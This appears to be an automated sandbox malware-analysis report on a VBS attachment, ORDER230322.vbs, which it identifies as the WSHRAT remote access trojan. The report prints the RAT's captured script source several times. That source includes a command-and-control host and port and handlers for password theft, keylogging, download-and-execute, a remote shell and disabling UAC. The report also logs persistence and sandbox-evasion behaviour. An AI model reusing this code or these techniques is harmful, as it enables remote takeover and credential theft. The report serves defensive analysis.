Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\ORDER230322.vbs

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@8/4@1/1

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: WScript.Sleep 1009'<[ recoder : kognito (c) skype : live:unknown.sales64 ]>'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=host = "chongmei33.publicvm.com"port = 7045installdir = "%temp%"lnkfile = truelnkfolder = true'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=dim shellobj set shellobj = wscript.createobject("wscript.shell")dim filesystemobjset filesystemobj = createobject("scripting.filesystemobject")dim httpobjset httpobj = createobject("msxml2.xmlhttp")'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=installname = wscript.scriptnamestartup = shellobj.specialfolders ("startup") & "\"installdir = shellobj.expandenvironmentstrings(installdir) & "\"if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("%temp%") & "\"spliter = "\|"sleep = 5000 dim responsedim cmddim paraminfo = ""usbspreading = ""startdate = ""dim oneonce'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=on error resume nextinstancewhile trueinstallresponse = ""response = post ("is-ready","")cmd = split (response,spliter)select case cmd (0)case "disconnect" wscript.quitcase "reboot" shellobj.run "%comspec% /c shutdown /r /t 0 /f", 0, TRUEcase "shutdown" shellobj.run "%comspec% /c shutdown /s /t 0 /f", 0, TRUEcase "excecute" param = cmd (1) execute paramcase "get-pass" passgrabber cmd(1), "cmdv.exe", cmd(2)case "uninstall" uninstallcase "up-n-exec" download cmd (1),cmd (2)case "bring-log" upload installdir & "wshlogs\" & cmd (1), "take-log"case "down-n-exec" sitedownloader cmd (1),cmd (2)case "filemanager" servicestarter cmd(1), "fm-plugin.exe", information() case "rdp" servicestarter cmd(1), "rd-plugin.exe", information()case "keylogger" keyloggerstarter cmd(1), "kl-plugin.exe", information(), 0case "offline-keylogger" keyloggerstarter cmd(1), "kl-plugin.exe", information(), 1case "browse-logs" post "is-logs", enumfaf(installdir & "wshlogs")case "cmd-shell" param = cmd (1) post "is-cmd-shell",cmdshell (param)case "get-processes" post "is-processes", enumprocess()case "disable-uac" if WScript.Arguments.Named.Exists("elevated") = true thenset oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")oReg.SetDwordValue &H80000002,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","EnableLUA", 0oReg.SetDwordValue &H80000002,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","ConsentPromptBehaviorAdmin", 0oReg = nothingupdatestatus("UAC+Disabled+(Reboot+Required)") end ifcase "elevate" if WScript.Arguments.Named.Exists("elevated") = false thenon error resume nextoneonce.close()oneonce = nothingWScript.CreateObject("Shell.Application").ShellExecute "wscript.exe", " //B " & chr(34) & WScript.ScriptFullName & chr(34) & " /elevated", "", "runas", 1updatestatus("Client+Elevated")WScript.quit elseupdatestatus("Client+Elevated") end ifcase "if-elevate" if WScript.Arguments.Named.Exists("el
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: WScript.Sleep 1009'<[ recoder : kognito (c) skype : live:unknown.sales64 ]>'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=host = "chongmei33.publicvm.com"port = 7045installdir = "%temp%"lnkfile = truelnkfolder = true'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=dim shellobj set shellobj = wscript.createobject("wscript.shell")dim filesystemobjset filesystemobj = createobject("scripting.filesystemobject")dim httpobjset httpobj = createobject("msxml2.xmlhttp")'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=installname = wscript.scriptnamestartup = shellobj.specialfolders ("startup") & "\"installdir = shellobj.expandenvironmentstrings(installdir) & "\"if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("%temp%") & "\"spliter = "\|"sleep = 5000 dim responsedim cmddim paraminfo = ""usbspreading = ""startdate = ""dim oneonce'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=on error resume nextinstancewhile trueinstallresponse = ""response = post ("is-ready","")cmd = split (response,spliter)select case cmd (0)case "disconnect" wscript.quitcase "reboot" shellobj.run "%comspec% /c shutdown /r /t 0 /f", 0, TRUEcase "shutdown" shellobj.run "%comspec% /c shutdown /s /t 0 /f", 0, TRUEcase "excecute" param = cmd (1) execute paramcase "get-pass" passgrabber cmd(1), "cmdv.exe", cmd(2)case "uninstall" uninstallcase "up-n-exec" download cmd (1),cmd (2)case "bring-log" upload installdir & "wshlogs\" & cmd (1), "take-log"case "down-n-exec" sitedownloader cmd (1),cmd (2)case "filemanager" servicestarter cmd(1), "fm-plugin.exe", information() case "rdp" servicestarter cmd(1), "rd-plugin.exe", information()case "keylogger" keyloggerstarter cmd(1), "kl-plugin.exe", information(), 0case "offline-keylogger" keyloggerstarter cmd(1), "kl-plugin.exe", information(), 1case "browse-logs" post "is-logs", enumfaf(installdir & "wshlogs")case "cmd-shell" param = cmd (1) post "is-cmd-shell",cmdshell (param)case "get-processes" post "is-processes", enumprocess()case "disable-uac" if WScript.Arguments.Named.Exists("elevated") = true thenset oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")oReg.SetDwordValue &H80000002,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","EnableLUA", 0oReg.SetDwordValue &H80000002,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","ConsentPromptBehaviorAdmin", 0oReg = nothingupdatestatus("UAC+Disabled+(Reboot+Required)") end ifcase "elevate" if WScript.Arguments.Named.Exists("elevated") = false thenon error resume nextoneonce.close()oneonce = nothingWScript.CreateObject("Shell.Application").ShellExecute "wscript.exe", " //B " & chr(34) & WScript.ScriptFullName & chr(34) & " /elevated", "", "runas", 1updatestatus("Client+Elevated")WScript.quit elseupdatestatus("Client+Elevated") end ifcase "if-elevate" if WScript.Arguments.Named.Exists("el
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: WScript.Sleep 1009'<[ recoder : kognito (c) skype : live:unknown.sales64 ]>'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=host = "chongmei33.publicvm.com"port = 7045installdir = "%temp%"lnkfile = truelnkfolder = true'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=dim shellobj set shellobj = wscript.createobject("wscript.shell")dim filesystemobjset filesystemobj = createobject("scripting.filesystemobject")dim httpobjset httpobj = createobject("msxml2.xmlhttp")'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=installname = wscript.scriptnamestartup = shellobj.specialfolders ("startup") & "\"installdir = shellobj.expandenvironmentstrings(installdir) & "\"if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("%temp%") & "\"spliter = "\|"sleep = 5000 dim responsedim cmddim paraminfo = ""usbspreading = ""startdate = ""dim oneonce'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=on error resume nextinstancewhile trueinstallresponse = ""response = post ("is-ready","")cmd = split (response,spliter)select case cmd (0)case "disconnect" wscript.quitcase "reboot" shellobj.run "%comspec% /c shutdown /r /t 0 /f", 0, TRUEcase "shutdown" shellobj.run "%comspec% /c shutdown /s /t 0 /f", 0, TRUEcase "excecute" param = cmd (1) execute paramcase "get-pass" passgrabber cmd(1), "cmdv.exe", cmd(2)case "uninstall" uninstallcase "up-n-exec" download cmd (1),cmd (2)case "bring-log" upload installdir & "wshlogs\" & cmd (1), "take-log"case "down-n-exec" sitedownloader cmd (1),cmd (2)case "filemanager" servicestarter cmd(1), "fm-plugin.exe", information() case "rdp" servicestarter cmd(1), "rd-plugin.exe", information()case "keylogger" keyloggerstarter cmd(1), "kl-plugin.exe", information(), 0case "offline-keylogger" keyloggerstarter cmd(1), "kl-plugin.exe", information(), 1case "browse-logs" post "is-logs", enumfaf(installdir & "wshlogs")case "cmd-shell" param = cmd (1) post "is-cmd-shell",cmdshell (param)case "get-processes" post "is-processes", enumprocess()case "disable-uac" if WScript.Arguments.Named.Exists("elevated") = true thenset oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")oReg.SetDwordValue &H80000002,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","EnableLUA", 0oReg.SetDwordValue &H80000002,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","ConsentPromptBehaviorAdmin", 0oReg = nothingupdatestatus("UAC+Disabled+(Reboot+Required)") end ifcase "elevate" if WScript.Arguments.Named.Exists("elevated") = false thenon error resume nextoneonce.close()oneonce = nothingWScript.CreateObject("Shell.Application").ShellExecute "wscript.exe", " //B " & chr(34) & WScript.ScriptFullName & chr(34) & " /elevated", "", "runas", 1updatestatus("Client+Elevated")WScript.quit elseupdatestatus("Client+Elevated") end ifcase "if-elevate" if WScript.Arguments.Named.Exists("el
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: WScript.Sleep 1009'<[ recoder : kognito (c) skype : live:unknown.sales64 ]>'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=host = "chongmei33.publicvm.com"port = 7045installdir = "%temp%"lnkfile = truelnkfolder = true'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=dim shellobj set shellobj = wscript.createobject("wscript.shell")dim filesystemobjset filesystemobj = createobject("scripting.filesystemobject")dim httpobjset httpobj = createobject("msxml2.xmlhttp")'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=installname = wscript.scriptnamestartup = shellobj.specialfolders ("startup") & "\"installdir = shellobj.expandenvironmentstrings(installdir) & "\"if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("%temp%") & "\"spliter = "\|"sleep = 5000 dim responsedim cmddim paraminfo = ""usbspreading = ""startdate = ""dim oneonce'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=on error resume nextinstancewhile trueinstallresponse = ""response = post ("is-ready","")cmd = split (response,spliter)select case cmd (0)case "disconnect" wscript.quitcase "reboot" shellobj.run "%comspec% /c shutdown /r /t 0 /f", 0, TRUEcase "shutdown" shellobj.run "%comspec% /c shutdown /s /t 0 /f", 0, TRUEcase "excecute" param = cmd (1) execute paramcase "get-pass" passgrabber cmd(1), "cmdv.exe", cmd(2)case "uninstall" uninstallcase "up-n-exec" download cmd (1),cmd (2)case "bring-log" upload installdir & "wshlogs\" & cmd (1), "take-log"case "down-n-exec" sitedownloader cmd (1),cmd (2)case "filemanager" servicestarter cmd(1), "fm-plugin.exe", information() case "rdp" servicestarter cmd(1), "rd-plugin.exe", information()case "keylogger" keyloggerstarter cmd(1), "kl-plugin.exe", information(), 0case "offline-keylogger" keyloggerstarter cmd(1), "kl-plugin.exe", information(), 1case "browse-logs" post "is-logs", enumfaf(installdir & "wshlogs")case "cmd-shell" param = cmd (1) post "is-cmd-shell",cmdshell (param)case "get-processes" post "is-processes", enumprocess()case "disable-uac" if WScript.Arguments.Named.Exists("elevated") = true thenset oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")oReg.SetDwordValue &H80000002,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","EnableLUA", 0oReg.SetDwordValue &H80000002,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System","ConsentPromptBehaviorAdmin", 0oReg = nothingupdatestatus("UAC+Disabled+(Reboot+Required)") end ifcase "elevate" if WScript.Arguments.Named.Exists("elevated") = false thenon error resume nextoneonce.close()oneonce = nothingWScript.CreateObject("Shell.Application").ShellExecute "wscript.exe", " //B " & chr(34) & WScript.ScriptFullName & chr(34) & " /elevated", "", "runas", 1updatestatus("Client+Elevated")WScript.quit elseupdatestatus("Client+Elevated") end ifcase "if-elevate" if WScript.Arguments.Named.Exists("el

Persistence and Installation Behavior

Windows Shell Script Host drops VBS files

Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Local\Temp\ORDER230322.vbs			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs			Jump to behavior

Boot Survival

Drops VBS files to the startup folder

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs

Jump to dropped file

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs

Jump to behavior

Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs\:Zone.Identifier:$DATA	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run ORDER230322			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run ORDER230322			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 7045 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 7045

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Domain query: chongmei33.publicvm.com
Source: C:\Windows\System32\wscript.exe	Network Connect: 103.47.144.22 7045			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct

Stealing of Sensitive Information

Yara detected WSHRAT

Source: Yara match	File source: amsi64_5492.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_2352.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_5448.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_4024.amsi.csv, type: OTHER
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected WSHRAT

Source: Yara match	File source: amsi64_5492.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_2352.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_5448.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_4024.amsi.csv, type: OTHER
Source: Yara match	File source: dump.pcap, type: PCAP

Detected WSHRat

Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string up-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string get-pass
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string down-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string keylogger
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string take-log
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string up-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string get-pass
